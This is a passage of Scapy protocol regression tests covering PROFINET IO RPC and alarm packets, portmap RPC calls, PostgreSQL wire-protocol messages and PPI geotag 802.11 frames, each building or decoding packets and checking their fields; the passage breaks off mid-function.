DataDescription=[ ExpectedSubmoduleDataDescription( DataDescription='Output', SubmoduleDataLength=3, LengthIOPS=1, LengthIOCS=1 ), ExpectedSubmoduleDataDescription( DataDescription='Input', SubmoduleDataLength=5, LengthIOPS=2, LengthIOCS=0 ) ] ), ] ), ] ), ExpectedSubmoduleBlockReq( APIs=[ ExpectedSubmoduleAPI( API=0, SlotNumber=1, ModuleIdentNumber=0x08c3, Submodules=[ ExpectedSubmodule( SubslotNumber=2, SubmoduleIdentNumber=0x0424, SubmoduleProperties_Type='OUTPUT', DataDescription=[ ExpectedSubmoduleDataDescription( DataDescription='Output', SubmoduleDataLength=5, LengthIOPS=1, LengthIOCS=0 ) ] ), ] ), ] ), ] ) bytes(p) == bytearray.fromhex( '04000000100000000000a0de976cd11182710102030405060100a0de976cd111827100a02442df7d67452301ab89efcd0123456789abcdef0000000001000000000000000000ffffffff250100000000' + \ '1101000011010000110100000000000011010000' + \ '0101003b01000001fedcba9876543210fedcba98765432100000010203040506dea000006c9711d182710102030405060000001103e888920005') + b'plc-1' + \ bytearray.fromhex('0102003e010000010001889200000000002880000002002000010000ffffffff000a000ac0000000000000000001' + \ '00000000000100030001000f0001000300010004' + \ '0102003e0100000200028892000000000034ffff0008002000010000ffffffff000a000ac0000000000000000001' + \ '0000000000020003000100000001000200090000' + \ '0104002601000001000000000003000008c400000001' + \ '0001000001240003' + \ '000200030101' + \ '000100050002' + \ '0104002001000001000000000001000008c300000001' + \ '0002000004240002' + \ '000200050001') #### Write Request = A PNIO RPC Write Request p = DceRpc4( endian='little', opnum=2, seqnum=1, object='dea00000-6c97-11d1-8271-010203040506', act_id='01234567-89ab-cdef-0123-456789abcdef' ) / PNIOServiceReqPDU( blocks=[ IODWriteMultipleReq( seqNum=0, ARUUID='fedcba98-7654-3210-fedc-ba9876543210', blocks=[ IODWriteReq( seqNum=1, API=0, slotNumber=1, subslotNumber=1, index=0x123, ARUUID='fedcba98-7654-3210-fedc-ba9876543210' ) / b'\x01\x02', IODWriteReq( seqNum=2, API=0, slotNumber=3, subslotNumber=1, ARUUID='fedcba98-7654-3210-fedc-ba9876543210' ) / FParametersBlock( F_CRC_Seed=1, F_CRC_Length='CRC-24', F_Source_Add=0xc1, F_Dest_Add=0xc2, F_WD_Time=500, F_Par_CRC=0x1234 ), ] ) ] ) bytes(p) == bytearray.fromhex( '04000000100000000000a0de976cd11182710102030405060100a0de976cd111827100a02442df7d67452301ab89efcd0123456789abcdef0000000001000000010000000200ffffffffe20000000000' + \ 'ce000000ce000000ce00000000000000ce000000' + \ '0008003c01000000fedcba9876543210fedcba9876543210ffffffffffffffff0000e0400000008e' + '00' * 24 + \ '0008003c01000001fedcba9876543210fedcba987654321000000000000100010000012300000002' + '00' * 24 + \ '01020000' + \ '0008003c01000002fedcba9876543210fedcba98765432100000000000030001000001000000000a' + '00' * 24 + \ '484000c100c201f41234') #### PrmEnd control Request = A PNIO RPC PrmEnd Control Request p = DceRpc4( endian='little', opnum=0, seqnum=2, object='dea00000-6c97-11d1-8271-010203040506', act_id='01234567-89ab-cdef-0123-456789abcdef' ) / PNIOServiceReqPDU( blocks=[ IODControlReq(ARUUID='fedcba98-7654-3210-fedc-ba9876543210', SessionKey=0, ControlCommand_PrmEnd=1) ] ) bytes(p) == bytearray.fromhex( '04000000100000000000a0de976cd11182710102030405060100a0de976cd111827100a02442df7d67452301ab89efcd0123456789abcdef0000000001000000020000000000ffffffff340000000000' + \ '2000000020000000200000000000000020000000' + \ '0110001c01000000fedcba9876543210fedcba98765432100000000000010000') #### ApplicationReady control Request = A PNIO RPC PrmEnd Control Request p = DceRpc4( endian='little', opnum=0, seqnum=0, object='dea00000-6c97-11d1-8271-060504030201', act_id='01020304-0506-0708-090a-0b0c0d0e0f00', if_id=RPC_INTERFACE_UUID['UUID_IO_ControllerInterface'], ) / PNIOServiceReqPDU( blocks=[ IODControlReq(ARUUID='fedcba98-7654-3210-fedc-ba9876543210', SessionKey=0, ControlCommand_ApplicationReady=1) ] ) bytes(p) == bytearray.fromhex( '04000000100000000000a0de976cd11182710605040302010200a0de976cd111827100a02442df7d0403020106050807090a0b0c0d0e0f000000000001000000000000000000ffffffff340000000000' + \ '2000000020000000200000000000000020000000' + \ '0112001c01000000fedcba9876543210fedcba98765432100000000000020000') ### PNIO Alarms = PNIO Alarm decoding (Alarm_Low) p = Ether(b'\x00\x11\x22\x33\x44\x55' \ b'\x00\x66\x77\x88\x99\xaa' \ b'\x81\x00\xa0\x00' \ b'\x88\x92' \ b'\xfe\x01' \ b'\x00\x03\x00\x03\x11\x11\xff\xff\xff\xfe\x00\x36' \ b'\x00\x02\x00\x32\x01\x00\x00\x01\x00\x00\x00\x00\x00' \ b'\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x08\x00' \ b'\x81\x00\x0f\x00\x00\x08\x01\x00\x00\x00\x00\x00\x00\x02' \ b'\x80\x02\x00\x0f\x2c\x00\x00\x05\x80\x00\x00\x00\x00\x22') assert p[ProfinetIO].frameID == 0xfe01 assert isinstance(p[ProfinetIO].payload, Alarm_Low) assert p[AlarmNotification_Low].block_type == 0x0002 assert isinstance(p[AlarmNotification_Low].AlarmPayload[0], MaintenanceItem) assert p[MaintenanceItem].UserStructureIdentifier == 0x8100 assert isinstance(p[AlarmNotification_Low].AlarmPayload[1], DiagnosisItem) assert p[DiagnosisItem].UserStructureIdentifier == 0x8002 = PNIO Alarm decoding (Alarm_High) p = Ether(b'\x00\x11\x22\x33\x44\x55' \ b'\x00\x66\x77\x88\x99\xaa' \ b'\x81\x00\xa0\x00' \ b'\x88\x92' \ b'\xfc\x01' \ b'\x00\x03\x00\x03\x11\x11\xff\xff\xff\xfe\x00\x36' \ b'\x00\x02\x00\x32\x01\x00\x00\x01\x00\x00\x00\x00\x00' \ b'\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x08\x00' \ b'\x81\x00\x0f\x00\x00\x08\x01\x00\x00\x00\x00\x00\x00\x02' \ b'\x80\x02\x00\x0f\x2c\x00\x00\x05\x80\x00\x00\x00\x00\x22') assert p[ProfinetIO].frameID == 0xfc01 assert isinstance(p[ProfinetIO].payload, Alarm_High) assert p[AlarmNotification_High].block_type == 0x0002 assert isinstance(p[AlarmNotification_High].AlarmPayload[0], MaintenanceItem) assert p[MaintenanceItem].UserStructureIdentifier == 0x8100 assert isinstance(p[AlarmNotification_High].AlarmPayload[1], DiagnosisItem) assert p[DiagnosisItem].UserStructureIdentifier == 0x8002 = PNIO Alarm DiagnosisItem p = AlarmNotification_Low(AlarmPayload=[MaintenanceItem(), DiagnosisItem()]) assert raw(p) == bytearray.fromhex('0002002c0100000000000000000000000000000000000000000000000000000001000000000000000000000000000000') = PNIO Alarm UploadRetrievalItem p = AlarmNotification_Low(AlarmPayload=[MaintenanceItem(), UploadRetrievalItem()]) assert raw(p) == bytearray.fromhex('00020036010000000000000000000000000000000000000000000000000000000100000000000000000000000000010000000000000000000000') = PNIO Alarm iParameterItem p = AlarmNotification_Low(AlarmPayload=[MaintenanceItem(), iParameterItem()]) assert raw(p) == bytearray.fromhex('0002003e0100000000000000000000000000000000000000000000000000000001000000000000000000000000000100000000000000000000000000000000000000') = PNIO Alarm RS_AlarmItem p = AlarmNotification_Low(AlarmPayload=[MaintenanceItem(), RS_AlarmItem()]) assert raw(p) == bytearray.fromhex('0002002801000000000000000000000000000000000000000000000000000000010000000000000000000000') = PNIO Alarm PRAL_AlarmItem p = AlarmNotification_Low(AlarmPayload=[MaintenanceItem(), PRAL_AlarmItem()]) assert raw(p) == bytearray.fromhex('0002002e01000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000') = PNIO PDPortDataAdjust Decoding raw = bytearray.fromhex('0402280000000000dea000006c9711d182710001000305f9dea000016' \ 'c9711d1827100a02442df7d0777bc51ddaa4d07addb7075183fc28b00' \ '00000000000001000000000002ffffffff007c0000000000000000000' \ '000680000004000000000000000688009003c0100000002ba501cd47e' \ '40d3a0b545fd4ac70eb900000000000080020000802f0000002800000' \ '000000000000000000000000000000000000000000002020024010000' \ '00000080020224000c010000000000000100000000021b00080100000' \ '000010000') p = DceRpc4(raw) assert p[PDPortDataAdjust].subslotNumber == 0x8002 assert p[AdjustPeerToPeerBoundary].peerToPeerBoundary == 0x1 assert LINKSTATE_LINK[p[AdjustLinkState].LinkState] == 'Up' ================================================ FILE: test/contrib/portmap.uts ================================================ % Tests for portmap module ############ ############ + Packet Creation Tests = Create subpackets Map_Entry() = Create Portmap Packets NULL_Call() NULL_Reply() DUMP_Call() DUMP_Reply() GETPORT_Call() GETPORT_Reply() + Test Layer bindings = RPC Layer Bindings for Portmap calls from scapy.contrib.oncrpc import * pkt = RPC()/RPC_Call()/NULL_Call() assert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100000, 2, 0) pkt = RPC()/RPC_Call()/GETPORT_Call() assert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100000, 2, 3) pkt = RPC()/RPC_Call()/DUMP_Call() assert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100000, 2, 4) = RPC Layer Bindings for Portmap replies from scapy.contrib.oncrpc import * pkt = RPC()/RPC_Reply()/NULL_Reply() assert pkt.mtype == 1 pkt = RPC()/RPC_Reply()/GETPORT_Reply() assert pkt.mtype == 1 pkt = RPC()/RPC_Reply()/DUMP_Reply() assert pkt.mtype == 1 + Test Built Packets vs Raw Strings = Portmap calls vs Raw Strings pkt = GETPORT_Call( prog=100003, vers=3, prot=6, port=0 ) assert bytes(pkt) == b'\x00\x01\x86\xa3\x00\x00\x00\x03\x00\x00\x00\x06\x00\x00\x00\x00' = Portmap replies vs Raw Strings pkt = GETPORT_Reply( port=2049 ) assert bytes(pkt) == b'\x00\x00\x08\x01' pkt = DUMP_Reply(value_follows=1, mappings=[Map_Entry(prog=1, vers=2, prot=3, port=4, value_follows=1), Map_Entry(prog=5, vers=6, prot=7, port=8, value_follows=0), ] ) assert bytes(pkt) == b'\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x06\x00\x00\x00\x07\x00\x00\x00\x08\x00\x00\x00\x00' ================================================ FILE: test/contrib/postgres.uts ================================================ # Postgres Related regression tests # # Type the following command to launch start the tests: # $ test/run_tests -P "load_contrib('postgres')" -t test/contrib/postgres.uts + postgres = postgres initialization from scapy.contrib.postgres import * ssl_request = "\x00\x00\x00\x08\x04\xd2\x16\x2f" startup = Startup( b"\x00\x00\x00\x57\x00\x03\x00\x00\x75\x73\x65\x72\x00\x70\x6f\x73" b"\x74\x67\x72\x65\x73\x00\x64\x61\x74\x61\x62\x61\x73\x65\x00\x70" b"\x6f\x73\x74\x67\x72\x65\x73\x00\x61\x70\x70\x6c\x69\x63\x61\x74" b"\x69\x6f\x6e\x5f\x6e\x61\x6d\x65\x00\x70\x73\x71\x6c\x00\x63\x6c" b"\x69\x65\x6e\x74\x5f\x65\x6e\x63\x6f\x64\x69\x6e\x67\x00\x57\x49" b"\x4e\x31\x32\x35\x32\x00\x00" ) assert startup.len == 87 assert startup.protocol_version_major == 3 assert startup.protocol_version_minor == 0 assert ( startup.options == b"user\x00postgres\x00database\x00postgres\x00application_name\x00psql\x00client_encoding\x00WIN1252\x00\x00" ) init_packet = ( b"\x52\x00\x00\x00\x08\x00\x00\x00\x00\x53\x00\x00\x00\x1a\x61\x70" b"\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x5f\x6e\x61\x6d\x65\x00\x70" b"\x73\x71\x6c\x00\x53\x00\x00\x00\x1c\x63\x6c\x69\x65\x6e\x74\x5f" b"\x65\x6e\x63\x6f\x64\x69\x6e\x67\x00\x57\x49\x4e\x31\x32\x35\x32" b"\x00\x53\x00\x00\x00\x17\x44\x61\x74\x65\x53\x74\x79\x6c\x65\x00" b"\x49\x53\x4f\x2c\x20\x4d\x44\x59\x00\x53\x00\x00\x00\x26\x64\x65" b"\x66\x61\x75\x6c\x74\x5f\x74\x72\x61\x6e\x73\x61\x63\x74\x69\x6f" b"\x6e\x5f\x72\x65\x61\x64\x5f\x6f\x6e\x6c\x79\x00\x6f\x66\x66\x00" b"\x53\x00\x00\x00\x17\x69\x6e\x5f\x68\x6f\x74\x5f\x73\x74\x61\x6e" b"\x64\x62\x79\x00\x6f\x66\x66\x00\x53\x00\x00\x00\x19\x69\x6e\x74" b"\x65\x67\x65\x72\x5f\x64\x61\x74\x65\x74\x69\x6d\x65\x73\x00\x6f" b"\x6e\x00\x53\x00\x00\x00\x1b\x49\x6e\x74\x65\x72\x76\x61\x6c\x53" b"\x74\x79\x6c\x65\x00\x70\x6f\x73\x74\x67\x72\x65\x73\x00\x53\x00" b"\x00\x00\x14\x69\x73\x5f\x73\x75\x70\x65\x72\x75\x73\x65\x72\x00" b"\x6f\x6e\x00\x53\x00\x00\x00\x19\x73\x65\x72\x76\x65\x72\x5f\x65" b"\x6e\x63\x6f\x64\x69\x6e\x67\x00\x55\x54\x46\x38\x00\x53\x00\x00" b"\x00\x32\x73\x65\x72\x76\x65\x72\x5f\x76\x65\x72\x73\x69\x6f\x6e" b"\x00\x31\x34\x2e\x32\x20\x28\x44\x65\x62\x69\x61\x6e\x20\x31\x34" b"\x2e\x32\x2d\x31\x2e\x70\x67\x64\x67\x31\x31\x30\x2b\x31\x29\x00" b"\x53\x00\x00\x00\x23\x73\x65\x73\x73\x69\x6f\x6e\x5f\x61\x75\x74" b"\x68\x6f\x72\x69\x7a\x61\x74\x69\x6f\x6e\x00\x70\x6f\x73\x74\x67" b"\x72\x65\x73\x00\x53\x00\x00\x00\x23\x73\x74\x61\x6e\x64\x61\x72" b"\x64\x5f\x63\x6f\x6e\x66\x6f\x72\x6d\x69\x6e\x67\x5f\x73\x74\x72" b"\x69\x6e\x67\x73\x00\x6f\x6e\x00\x53\x00\x00\x00\x15\x54\x69\x6d" b"\x65\x5a\x6f\x6e\x65\x00\x45\x74\x63\x2f\x55\x54\x43\x00\x4b\x00" b"\x00\x00\x0c\x00\x00\x01\x7f\x43\x4c\x36\xa5\x5a\x00\x00\x00\x05\x49" ) = postgres backend sequence init = PostgresBackend(init_packet) assert isinstance(init.contents[0], Authentication) assert init.contents[0].len == 8 assert init.contents[0].method == 0 assert len(init.contents) == 16 assert isinstance(init.contents[1], ParameterStatus) assert init.contents[1].len == 26 assert init.contents[1].parameter == b"application_name" assert init.contents[1].value == b"psql" = simple queries simple_query_packet = ( b"\x51\x00\x00\x00\x15\x53\x45\x4c\x45\x43\x54\x20\x56\x45\x52\x53" b"\x49\x4f\x4e\x28\x29\x00" ) simple_query = PostgresFrontend(simple_query_packet) assert isinstance(simple_query.contents[0], Query) assert simple_query.contents[0].len == 21 assert simple_query.contents[0].query == b"SELECT VERSION()" pair = SignedIntStrPair(b"\x00\x00\x00\x04\x01\x02\x03\x04") assert pair.len == 4 assert pair.data == b"\x01\x02\x03\x04" command_response_packet = ( b"\x54\x00\x00\x00\x20\x00\x01\x76\x65\x72\x73\x69\x6f\x6e\x00\x00" b"\x00\x00\x00\x00\x00\x00\x00\x00\x19\xff\xff\xff\xff\xff\xff\x00" b"\x00\x44\x00\x00\x00\x85\x00\x01\x00\x00\x00\x7b\x50\x6f\x73\x74" b"\x67\x72\x65\x53\x51\x4c\x20\x31\x34\x2e\x32\x20\x28\x44\x65\x62" b"\x69\x61\x6e\x20\x31\x34\x2e\x32\x2d\x31\x2e\x70\x67\x64\x67\x31" b"\x31\x30\x2b\x31\x29\x20\x6f\x6e\x20\x78\x38\x36\x5f\x36\x34\x2d" b"\x70\x63\x2d\x6c\x69\x6e\x75\x78\x2d\x67\x6e\x75\x2c\x20\x63\x6f" b"\x6d\x70\x69\x6c\x65\x64\x20\x62\x79\x20\x67\x63\x63\x20\x28\x44" b"\x65\x62\x69\x61\x6e\x20\x31\x30\x2e\x32\x2e\x31\x2d\x36\x29\x20" b"\x31\x30\x2e\x32\x2e\x31\x20\x32\x30\x32\x31\x30\x31\x31\x30\x2c" b"\x20\x36\x34\x2d\x62\x69\x74\x43\x00\x00\x00\x0d\x53\x45\x4c\x45" b"\x43\x54\x20\x31\x00\x5a\x00\x00\x00\x05\x49" ) = row data response command_response = PostgresBackend(command_response_packet) assert len(command_response.contents) == 4 assert isinstance(command_response.contents[0], RowDescription) rd = command_response.contents[0] assert rd.len == 32 assert rd.numfields == 1 assert rd.cols[0].col == b"version" assert rd.cols[0].tableoid == 0 assert rd.cols[0].colno == 0 assert rd.cols[0].typeoid == 25 assert rd.cols[0].typelen == -1 assert rd.cols[0].format == 0 assert rd.cols[0].typemod == -1 assert isinstance(command_response.contents[1], DataRow) assert command_response.contents[1].len == 133 assert command_response.contents[1].numfields == 1 assert len(command_response.contents[1].data) == 1 assert isinstance(command_response.contents[1].data[0], SignedIntStrPair) assert command_response.contents[1].data[0].len == 123 assert ( command_response.contents[1].data[0].data == b"PostgreSQL 14.2 (Debian 14.2-1.pgdg110+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 10.2.1-6) 10.2.1 20210110, 64-bit" ) assert isinstance(command_response.contents[2], CommandComplete) assert isinstance(command_response.contents[3], ReadyForQuery) three_col_rd = RowDescription( b"\x54\x00\x00\x00\x55\x00\x03\x6e\x61\x6d\x65\x00\x00\x00\x00\x00" b"\x00\x00\x00\x00\x00\x19\xff\xff\xff\xff\xff\xff\x00\x00\x73\x65" b"\x74\x74\x69\x6e\x67\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19" b"\xff\xff\xff\xff\xff\xff\x00\x00\x64\x65\x73\x63\x72\x69\x70\x74" b"\x69\x6f\x6e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\xff\xff" b"\xff\xff\xff\xff\x00\x00" ) assert three_col_rd.len == 85 assert three_col_rd.numfields == 3 assert len(three_col_rd.cols) == 3 three_col_dr = DataRow( b"\x44\x00\x00\x00\x63\x00\x03\x00\x00\x00\x17\x61\x6c\x6c\x6f\x77" b"\x5f\x73\x79\x73\x74\x65\x6d\x5f\x74\x61\x62\x6c\x65\x5f\x6d\x6f" b"\x64\x73\x00\x00\x00\x03\x6f\x66\x66\x00\x00\x00\x37\x41\x6c\x6c" b"\x6f\x77\x73\x20\x6d\x6f\x64\x69\x66\x69\x63\x61\x74\x69\x6f\x6e" b"\x73\x20\x6f\x66\x20\x74\x68\x65\x20\x73\x74\x72\x75\x63\x74\x75" b"\x72\x65\x20\x6f\x66\x20\x73\x79\x73\x74\x65\x6d\x20\x74\x61\x62" b"\x6c\x65\x73\x2e" ) assert three_col_dr.numfields == 3 assert len(three_col_dr.data) == 3 assert three_col_dr.data[0].len == 23 assert three_col_dr.data[0].data == b"allow_system_table_mods" assert three_col_dr.data[1].len == 3 assert three_col_dr.data[1].data == b"off" assert three_col_dr.data[2].len == 55 assert ( three_col_dr.data[2].data == b"Allows modifications of the structure of system tables." ) = errors error_response = ErrorResponse( b"\x45\x00\x00\x00\x69\x53\x45\x52\x52\x4f\x52\x00\x56\x45\x52\x52" b"\x4f\x52\x00\x43\x34\x32\x50\x30\x31\x00\x4d\x72\x65\x6c\x61\x74" b"\x69\x6f\x6e\x20\x22\x66\x6f\x6f\x62\x61\x72\x22\x20\x64\x6f\x65" b"\x73\x20\x6e\x6f\x74\x20\x65\x78\x69\x73\x74\x00\x50\x31\x35\x00" b"\x46\x70\x61\x72\x73\x65\x5f\x72\x65\x6c\x61\x74\x69\x6f\x6e\x2e" b"\x63\x00\x4c\x31\x33\x38\x31\x00\x52\x70\x61\x72\x73\x65\x72\x4f" b"\x70\x65\x6e\x54\x61\x62\x6c\x65\x00\x00" ) assert len(error_response.error_fields) == 8 assert error_response.error_fields[0] == ("Severity", b"ERROR") assert error_response.error_fields[7] == ("Routine", b"parserOpenTable") = copy data response and request copyin_response = CopyInResponse(b"\x47\x00\x00\x00\x0f\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00") assert copyin_response.len == 15 assert copyin_response.format == 0 # Text assert len(copyin_response.cols) == 4 assert copyin_response.ncols == 4 assert copyin_response.cols[0] == 0 # Text assert copyin_response.cols[1] == 0 # Text assert copyin_response.cols[2] == 0 # Text assert copyin_response.cols[3] == 0 # Text copydata_in = PostgresFrontend(b"\x64\x00\x00\x00\x10\x31\x2c\x42\x6f\x62\x2c\x32\x33\x2c\x31\x0d" \ b"\x0a\x64\x00\x00\x00\x12\x32\x2c\x53\x61\x6c\x6c\x79\x2c\x34\x33" \ b"\x2c\x32\x0d\x0a\x64\x00\x00\x00\x14\x33\x2c\x50\x61\x72\x64\x65" \ b"\x65\x70\x2c\x35\x34\x2c\x33\x0d\x0a\x64\x00\x00\x00\x0f\x34\x2c" \ b"\x53\x75\x2c\x33\x32\x2c\x34\x0d\x0a\x64\x00\x00\x00\x0f\x35\x2c" \ b"\x58\x69\x2c\x34\x33\x2c\x35\x0d\x0a\x64\x00\x00\x00\x0e\x36\x2c" \ b"\x50\x69\x70\x2c\x36\x36\x2c\x36\x63\x00\x00\x00\x04" ) copyout_response = CopyOutResponse(b"\x48\x00\x00\x00\x0f\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00") assert copyout_response.len == 15 # Combined message copydata_out = PostgresBackend(b"\x48\x00\x00\x00\x0f\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00" \ b"\x64\x00\x00\x00\x0f\x31\x09\x42\x6f\x62\x09\x32\x33\x09\x31\x0a" \ b"\x64\x00\x00\x00\x11\x32\x09\x53\x61\x6c\x6c\x79\x09\x34\x33\x09" \ b"\x32\x0a\x64\x00\x00\x00\x13\x33\x09\x50\x61\x72\x64\x65\x65\x70" \ b"\x09\x35\x34\x09\x33\x0a\x64\x00\x00\x00\x0e\x34\x09\x53\x75\x09" \ b"\x33\x32\x09\x34\x0a\x64\x00\x00\x00\x0e\x35\x09\x58\x69\x09\x34" \ b"\x33\x09\x35\x0a\x64\x00\x00\x00\x0f\x36\x09\x50\x69\x70\x09\x36" \ b"\x36\x09\x36\x0a\x63\x00\x00\x00\x04\x43\x00\x00\x00\x0b\x43\x4f" \ b"\x50\x59\x20\x36\x00\x5a\x00\x00\x00\x05\x49") assert len(copydata_out.contents) == 10 assert copydata_out.contents[0].len == 15 assert isinstance(copydata_out.contents[0], CopyOutResponse) assert isinstance(copydata_out.contents[1], CopyData) assert copydata_out.contents[1].len == 15 assert copydata_out.contents[1].data == b'1\tBob\t23\t1\n' assert isinstance(copydata_out.contents[2], CopyData) assert copydata_out.contents[2].data == b'2\tSally\t43\t2\n' assert isinstance(copydata_out.contents[3], CopyData) assert copydata_out.contents[3].data == b'3\tPardeep\t54\t3\n' assert isinstance(copydata_out.contents[4], CopyData) assert copydata_out.contents[4].data == b'4\tSu\t32\t4\n' assert isinstance(copydata_out.contents[5], CopyData) assert copydata_out.contents[5].data == b'5\tXi\t43\t5\n' assert isinstance(copydata_out.contents[6], CopyData) assert copydata_out.contents[6].data == b'6\tPip\t66\t6\n' assert isinstance(copydata_out.contents[7], CopyDone) assert isinstance(copydata_out.contents[8], CommandComplete) assert isinstance(copydata_out.contents[9], ReadyForQuery) = Check example request packet request = PostgresFrontend( b"\x50\x00\x00\x00\x64\x00\x53\x45\x4c\x45\x43\x54\x20\x44\x5f\x4e" b"\x45\x58\x54\x5f\x4f\x5f\x49\x44\x2c\x20\x44\x5f\x54\x41\x58\x20" b"\x20\x20\x46\x52\x4f\x4d\x20\x64\x69\x73\x74\x72\x69\x63\x74\x20" b"\x57\x48\x45\x52\x45\x20\x44\x5f\x57\x5f\x49\x44\x20\x3d\x20\x24" b"\x31\x20\x41\x4e\x44\x20\x44\x5f\x49\x44\x20\x3d\x20\x24\x32\x20" b"\x46\x4f\x52\x20\x55\x50\x44\x41\x54\x45\x00\x00\x02\x00\x00\x00" b"\x17\x00\x00\x00\x17\x42\x00\x00\x00\x20\x00\x00\x00\x02\x00\x01" b"\x00\x01\x00\x02\x00\x00\x00\x04\x00\x00\x00\x14\x00\x00\x00\x04" b"\x00\x00\x00\x0a\x00\x00\x44\x00\x00\x00\x06\x50\x00\x45\x00\x00" b"\x00\x09\x00\x00\x00\x00\x00\x53\x00\x00\x00\x04" ) assert len(request.contents) == 5 assert isinstance(request.contents[0], Parse) assert isinstance(request.contents[1], Bind) assert isinstance(request.contents[2], Describe) assert isinstance(request.contents[3], Execute) assert isinstance(request.contents[4], Sync) = Check parse decoding parse_msg = request.contents[0] assert parse_msg.len == 100 assert parse_msg.destination == b"" assert parse_msg.query == b"SELECT D_NEXT_O_ID, D_TAX FROM district WHERE D_W_ID = $1 AND D_ID = $2 FOR UPDATE" assert parse_msg.num_param_dtypes == 2 assert parse_msg.params[0] == 23 assert parse_msg.params[1] == 23 = Check bind decoding bind_msg = request.contents[1] assert bind_msg.len == 32 assert bind_msg.destination == b"" assert bind_msg.statement == b"" assert bind_msg.codes_count == 2 assert bind_msg.codes[0] == 1 assert bind_msg.codes[1] == 1 assert bind_msg.values_count == 2 assert bind_msg.values[0].len == 4 assert bind_msg.values[0].data == b"\x00\x00\x00\x14" assert bind_msg.values[1].len == 4 assert bind_msg.values[1].data == b"\x00\x00\x00\x0a" assert bind_msg.results_count == 0 = Check describe decoding describe_msg = request.contents[2] assert describe_msg.len == 6 assert describe_msg.close_type == b"P" assert describe_msg.statement == b"" = Check execute decoding exec_msg = request.contents[3] assert exec_msg.len == 9 assert exec_msg.portal == b"" assert exec_msg.rows == 0 = Check sync decoding sync_msg = request.contents[4] assert sync_msg.len == 4 ================================================ FILE: test/contrib/ppi_cace.uts ================================================ % PPI/PPI_CACE/PPI_GEOTAG Global Campaign # Test suite extracted from PPI_GEOLOCATION_SDK.zip\PPI_GEOLOCATION_SDK\pcaps\reference-pcaps\ppi_geo_examples.py + PPI Tests = Define test suite from scapy.contrib.ppi_cace import * from scapy.contrib.ppi_geotag import * def Pkt_10_1(): """GPS Only""" pkt = PPI(headers=[ PPI_Hdr()/PPI_Geotag_GPS(Latitude=40.787743,Longitude=-73.971210)])/\ Dot11(addr1="FF:FF:FF:FF:FF:FF",addr2="00:01:02:03:04:05",addr3="00:01:02:09:01:01")/\ Dot11Beacon()/Dot11Elt(ID=0,info="Test-10.1") return PPI(raw(pkt)) def Pkt_10_2(): """GPS + VECTOR + ANTENNA + RADIOTAP""" #No radiotap support yet... pkt = PPI(headers=[ PPI_Hdr()/PPI_Geotag_GPS(Latitude=40.787743, Longitude=-73.971210), PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x02, VectorChars="Antenna", Pitch=90.0, Roll=0.0, Heading=0.0, DescString="Antenna-1 orientation"), PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x02,Gain=8,HorizBw=360.0,ModelName="8dBi-MagMountOmni"), PPI_Hdr()/PPI_Dot11Common(Antsignal=-80,Antnoise=-110,Ch_Freq=2437)])/\ Dot11(addr1="FF:FF:FF:FF:FF:FF",addr2="00:01:02:03:04:05",addr3="00:01:02:09:01:02")/\ Dot11Beacon()/Dot11Elt(ID=0,info="Test-10.2") return PPI(raw(pkt)) def Pkt_10_3(): """Direction of travel + one directional antenna, with Pitch in ForwardFrame""" pkt = PPI(headers=[ PPI_Hdr()/PPI_Geotag_GPS(GPSFlags=0x02, Latitude=40.787743, Longitude=-73.971210), PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x03, VectorChars=0x06, Pitch=10.0, Heading=22.5, DescString="VehicleVec"), PPI_Hdr()/PPI_Geotag_Sensor(SensorType="Velocity", Val_T=20.0), PPI_Hdr()/PPI_Geotag_Vector( VectorChars=0x01, Heading=90.0, DescString="AntennaVec"), PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x02,Gain=9,HorizBw=120,ModelName="SA24-120-9"), PPI_Hdr()/PPI_Dot11Common(Antsignal=-75,Antnoise=-110,Ch_Freq=2437)])/\ Dot11(addr1="FF:FF:FF:FF:FF:FF",addr2="00:01:02:03:04:05",addr3="00:01:02:09:01:03")/\ Dot11Beacon()/Dot11Elt(ID=0,info="Test-10.3") return PPI(raw(pkt)) #Cause the fields to be built def Pkt_10_4(): """Two static directional antennas with offsets""" pkt = PPI(headers=[ PPI_Hdr()/PPI_Geotag_GPS(GPSFlags=0x02, Latitude=40.787743, Longitude=-73.971210, Altitude_g=2.00), PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x03, VectorChars=0x06, Pitch=10.0, Heading=22.5), PPI_Hdr()/PPI_Geotag_Sensor(SensorType="Velocity", Val_T=8.5), PPI_Hdr()/PPI_Geotag_Sensor(SensorType="Acceleration", Val_T=0.5), PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x00, VectorChars=0x01, Heading=90.0, Off_X=0.75, Off_Y=0.6, Off_Z=-0.2, DescString="Antenna1Vec"), PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x02,Gain=9,HorizBw=120,ModelName="SA24-120-9",DescString="RightAntenna"), PPI_Hdr()/PPI_Dot11Common(Antsignal=-75,Antnoise=-110,Ch_Freq=2437), PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x00, VectorChars=0x01, Heading=270.0, Off_X=-0.75, Off_Y=0.6, Off_Z=-0.2, DescString="Antenna2Vec"), PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x02,Gain=9,HorizBw=120,ModelName="SA24-120-9",DescString="LeftAntenna"), PPI_Hdr()/PPI_Dot11Common(Antsignal=-95,Antnoise=-110,Ch_Freq=2437)])/\ Dot11(addr1="FF:FF:FF:FF:FF:FF",addr2="00:01:02:03:04:05",addr3="00:01:02:09:01:04")/\ 